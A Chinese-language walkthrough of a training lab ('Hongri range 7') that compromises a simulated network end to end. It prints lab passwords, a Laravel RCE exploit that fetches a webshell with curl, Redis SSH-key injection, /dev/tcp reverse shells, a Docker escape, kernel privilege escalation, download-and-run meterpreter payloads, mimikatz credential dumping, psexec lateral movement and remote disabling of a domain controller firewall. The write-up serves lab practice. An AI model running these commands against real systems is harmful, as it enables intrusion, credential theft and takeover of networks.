红日靶场7

【密码:
ubuntu1:web web2021
ubuntu2:ubuntu ubuntu
win7_1:bunny Bunny2021
win7_2:moretz Moretz2021
dc:Administrator Whoami2021
】
【ip:
本机: 192.168.1.101
kali: 192.168.1.102
web1:192.168.1.103 192.168.52.10
web2: 192.168.93.10 192.168.52.20
win7_1: 192.168.93.20 192.168.52.30
win2012:192.168.93.30
win7_2: 192.168.93.40
】
渗透过程概述:
1、信息收集-->getshell-->redis未授权访问漏洞获取web1.root权限
81端口网站有漏洞,利用exp执行下载shell.php,蚁剑连接,发现是docker,
利用redis未授权漏洞,ssh连接web1,获得root权限,查看nginx端口配置文件,发现做了反向代理,
2、web2.docker特权模式逃逸,cve-2021-3493内核漏洞提权web2
把web1作为跳板机,web1开启nc监听web2.docker.www的bash反弹shell。
web2提权:先docker内suid提权到docker.root,web1开启nc监听,docker.root执行bash反弹shell,
然后docker特权模式逃逸,mount挂载宿主机磁盘设备,访问root目录,查看home用户ubuntu,
将web1.root模式生成的ssh密钥写入web2.home.ubuntu.ssh的目录,ssh连接web2,获取web2.ubuntu用户权限,
cve-2021-3493内核漏洞 提权到web2.root。
3、web1、web2上线msf-->内网渗透,利用通达OA漏洞上线win7 pc1-->psexec模块上线pc2-->psexec上线域控
内网渗透:msf.reverse_tcp上线web1.root,添加路由,upload reverse.elf到web1.tmp,web1开启http
下载服务供web2下载执行木马,上线web2。udp_sweep扫描存活主机pc1,nbname扫描域,kali设置ew代理访问pc1,
发现pc1.通达OA版本11.3存在漏洞,任意用户登陆进后台,文件上传+rce漏洞,执行msf.web_delivery的payload,
上线pc1.system。migrate迁移进程x64,kiwi抓域管账号密码。kali,web1,pc1二次设置ew代理,udp_sweep扫描主机,
使用msf.psexec先上线pc2,域控开了防火墙,上线失败。解决方案:pc1与域控建立ipc连接,使用sc远程在域控上创建服务,
关闭域控防火墙,再次使用psexec上线域控。
启动靶机服务
1.1 web1配置
1.1.1 先查看服务是否启动
ps -C nginx -o pid ------查看nginx启动,已启动
ps aux | grep redis-server ------查看redis启动

1.1.2 启动服务
sudo redis-server /etc/redis.conf ------root权限启动redis服务,为未授权访问漏洞准备前提条件

【sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf ------启动nginx服务

sudo nginx -s stop -----解决端口占用的问题】
1.1.3 sudo iptables -F
1.2 web2配置
sudo docker ps -a ------查看所有docker容器状态
sudo service docker start ------启动docker服务
sudo docker start 8e172820ac78 ------启动容器

1、信息收集
1.1 端口扫描
nmap -T4 -sC -sV 192.168.1.103
1.2 访问81端口收集Laravel cms版本号等信息
1.3 6379端口开启了redis服务
2、漏洞挖掘
2.1 Laravel cms存在RCE远程代码执行漏洞 CVE-2021-3129
2.2 redis未授权访问漏洞
3、漏洞利用
3.1 利用Laravel RCE漏洞getshell
3.1.1 远程下载shell文本到靶机,重命名并增加权限。
python3 exploit.py http://192.168.1.103:81/ "curl http://192.168.1.102:80/shell.txt -o shell.php | chomd 777 ./shell.php"
shell地址:
http://192.168.1.103:81/shell.php
3.1.2 信息收集,确定docker环境
whoami
id
hostname
cat /etc/hosts
cat /proc/self/cgroup
发现是172内网段,docker环境

3.1.3 尝试反弹shell到kali,nc、msf没反应,判断为不出网

3.2 Redis未授权访问漏洞(前提:以root权限启动)
3.2.0 漏洞的产生条件:
(1)redis绑定在 0.0.0.0:6379,且没有添加防火墙规则,避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务
3.2.1 redis-cli免密连接redis 成功,存在未授权访问
redis-cli -h 192.168.1.103
192.168.1.103:6379> info

3.2.2 写入公钥
ssh-keygen -t rsa ---生成公钥
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt ---将公钥导入foo.txt 文件 (前后用\n换行,避免和Redis里其他缓存数据混合)
cat foo.txt | redis-cli -h 192.168.0.102 -p 6379 -x set hello ---将foo.txt文件内容(公钥)写入目标主机Redis缓冲中
(-x 代表从标准输入(stdin)读取数据作为redis-cli的一个参数,例如将foo.txt文件内容 作为set hello的值)

3.2.3 将ssh公钥写入目标主机,ssh连接,获取root权限
config set dir /root/.ssh --设置redis的备份路径为 /root/.ssh
config set dbfilename authorized_keys ---设置保存文件名为authorized_keys
save ---保存数据
exit
ssh 192.168.0.102 ---ssh连接目标主机web1,此后可以每次直接使用ssh连接

4、提权【redis未授权访问,无需提权】
5、内网渗透【docker逃逸,web2渗透】
5.1 web1信息收集
5.1.1 ifconfig 发现存在52网段

5.1.2 查看nginx端口配置文件,发现做了反向代理web2

5.2 docker 环境变量提权
5.2.1 docker反弹shell到web1


5.2.2 find带有SUID属性的文件
find / -perm -u=s -type f 2>/dev/null 或
find / -user root -perm -4000 -print 2>/dev/null

5.2.3 执行home/jobs下的shell可疑文件

5.2.4 查看demo.c可疑文件内容,该脚本执行了PS命令,且未使用绝对路径

5.2.5 更改$PATH来执行恶意程序,从而获得目标主机的高权限shell
cd /tmp ---tmp目录可任意读写
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH ---将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
(echo $PATH --- /tmp:/usr/local/sbin:/usr/local/bin:。。。)
cd /home/jobs
./shell --- 执行shell,执行ps命令,ps命令被tmp目录里重写了,等同于执行tmp目录里的ps程序,及bash命令。成功获取docker root权限
bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/1239 <&1' ---把shell再反弹到web1中,以root权限操作docker


5.3 docker特权模式逃逸
5.3.1 原理
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载
(特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限)
(当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令)
5.3.2 漏洞利用,查看磁盘、设备
fdisk -l ------查看磁盘文件
ls /dev ------查看设备文件

5.3.3 将磁盘/dev/sda1挂载到文件夹
cd / ------切换到home目录
mkdir hello ------创建文件夹(rmdir hello 删除文件夹)
mount /dev/sda1 /hello ------挂载(umount /dev/sda1 取消挂载)
ls /hello ------查看是否 挂载成功

5.3.4 写入计划,执行失败
echo '* * * * * bash -i >& /dev/tcp/192.168.52.10/1233 0>&1' >> /hello/var/spool/cron/crontabs/root (还是 /hello/var/spool/cron/root ?)

5.3.5 将web1 生成的公钥写入web2,ssh连接,获取web2普通用户
5.3.5.1 换思路:能否访问root目录 或 查看home有没有用户

发现有ubuntu用户,so 将web1 root模式下生成的ssh公钥写入到 /hello/home/ubuntu/.ssh/authorized_keys 文件,写入成功之后,web1 root模式用公钥ssh连接 web2
5.3.5.2 web1生成ssh公钥
ssh-keygen -f hello ------ 输出到hello.pub文件
chmod 600 hello -------赋予权限

5.3.5.3 docker.root处理authorized_keys文件
cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys ------ -avx 将权限也一起复制
echo >/hello/home/ubuntu/.ssh/authorized_keys ------清空authorized_keys文件
echo 'web1生成的hello.pub公钥文件内容' > /hello/home/ubuntu/.ssh/authorized_keys ------ 将公钥写入authorized_keys文件
cat /hello/home/ubuntu/.ssh/authorized_keys ------查看是否写入成功

5.3.5.4 web1 使用私钥连接到web2,获取web2普通用户ubuntu,docker逃逸成功
ssh -i hello ubuntu@192.168.52.20

5.4 CVE-2021-3493 linux内核漏洞提权
5.4.1 docker 逃逸前后,发现系统版本不一致


5.4.2 利用 CVE-2021-3493 内核漏洞 提权
cd /tmp --- tmp目录 可任意读写
ls
vim exploit.c ---复制粘贴代码到vim编辑器,保存(按ESC:wq! 保存)
gcc exploit.c -o exploit ---编译
ls
chmod +x exploit ---增加执行权限
./exploit ---执行,利用exp成功提权到root

6、横向移动【pc1渗透】
6.1 web1、web2上线
6.1.1 先上线通过Redis未授权访问漏洞拿到的web1主机

msf生成wget链接,web1以root权限执行wget链接后,web1成功上线


6.1.2 web2上线msf
6.1.2.1 添加路由
run post/multi/manage/autoroute

6.1.2.2 web1安装有python3,可开启http下载服务。把kali生成的木马20.elf上传到web1,供web2下载并运行木马

6.1.2.3 msf 生成正向连接后门,并上传到web1的tmp目录
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=2020 -f elf > 20.elf


6.1.2.4 在web1的tmp目录下开启http下载服务,web2 下载并运行木马
python3 -m http.server
wget http://192.168.52.10:8000/20.elf;chmod +x 20.elf;./20.elf




6.2 信息收集
6.2.1 主机发现
6.2.1.1 udp_sweep模块扫描52段,发现pc1 ----- 关闭防火墙,否则扫不到

6.2.1.2 扫描93段,发现dc、pc2

6.2.1.3 nbname模块 扫描域
use auxiliary/scanner/netbios/nbname

6.2.2 设置代理
6.2.2.1 kali设置ew代理
nohup ./ew_for_linux64 -s rcsocks -l 1080 -e 1234 &
vim /etc/proxychains.conf
socks5 127.0.0.1 1080 ----- 禁用socks4

6.2.2.2 web1设置ew代理
chmod +x ./ew_for_linux64 ------- 增加执行权限
nohup ./ew_for_linux64 -s rssocks -d 192.168.0.102 -e 1234 &
6.2.3 端口扫描

6.3 通达OA漏洞利用(任意用户登录+RCE漏洞,获取system权限)
6.3.1 任意用户登录,进后台
6.3.1.1 http://192.168.52.30:8080 登录时抓包

6.3.1.2 修改三个地方
1、改成 logincheck_code.php
2 删除cookie
3 post参数添加 &UID=1

6.3.1.3 用获取的sessionID访问 /general/index.php 直接进后台

6.3.2 任意文件上传漏洞 /ispirit/im/upload.php
6.3.2.1 自写 upload.html 上传页面

6.3.2.2 自写 shell.png 图片

6.3.2.3 上传成功,图片保存路径 2203/506471717.shell.png

6.3.3 RCE漏洞,利用文件包含漏洞,包含上传的shell图片马
6.3.3.1 RCE漏洞验证
此gateway.php 的Request 内容,可在burp里永远重复使用
http://192.168.0.104:8080/ispirit/interface/gateway.php
json={"url":"/general/../../attach/im/2203/506471717.shell.png"}&cmd=whoami

6.3.3.2 msf 使用web_delivery模块生成powershell payload
set payload windows/meterpreter/reverse_tcp

6.3.3.3 赋值给post的参数cmd执行,即可得到meterpreter

6.4 上线msf

6.5 kiwi 获取明文密码
ps
migrate
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
得到域管理员、域用户 的账号密码



6、横向移动【pc2渗透】
6.1 设置代理
路由转发只能将msf带进内网,而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks代理。使用earthworm搭建一个二级socks5代理服务
6.1.1 kali设置ew代理
使kali能访问内网93段 二次代理 打入内网域控
kali添加一个转接隧道,监听1090端口,并将1090端口收到的代理请求发送给1235端口
nohup ./ew_for_linux64 -s lcx_listen -l 1090 -e 1235 &
ps -ef |grep ew
修改配置 proxychains.conf
socks5 127.0.0.1 1090 ----- 禁用socks4。。。
proxychains等代理工具,通过访问kali的1090端口来使用 架设在第二层网络Windows主机上的socks代理服务,来进入第三层网络

6.1.2 pc1设置ew代理
把ew_for_win.exe上传到pc1,利用ssocksd方式启动999端口的正向socks代理
start /min ew_for_Win.exe -s ssocksd -l 999

6.1.3 web1设置ew代理
web1 做中间桥梁 ,利用lcx_slave方式,将kali的1235端口与第二层网络pc1的999端口连接起来
./ew_for_linux64 -s lcx_slave -d 192.168.1.102 -e 1235 -f 192.168.52.30 -g 999

6.2 用域管理员账号密码 先上线pc2

setg Proxies socks5:127.0.0.1:1090
use exploit/windows/smb/psexec
set SMBUser Administrator
set SMBPass Whoami2021
set smbdomain whoamianony
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.40
run

6、横向移动【dc渗透】
6.1 psexec 模块上线域控失败,因为开了防火墙
set rhost 192.168.93.30 域控上线失败

6.2 域控上线 解决办法:
6.2.1 让pc1与域控建立ipc连接
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
net use

6.2.2 使用sc远程 在域控制器(192.168.93.30)上创建 服务,关闭防火墙
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall


6.2.3 使用 exploit/windows/smb/psexec 模块再次尝试执行,可成功上线msf


7、权限维持
8、痕迹清理
9、总结


浙公网安备 33010602011771号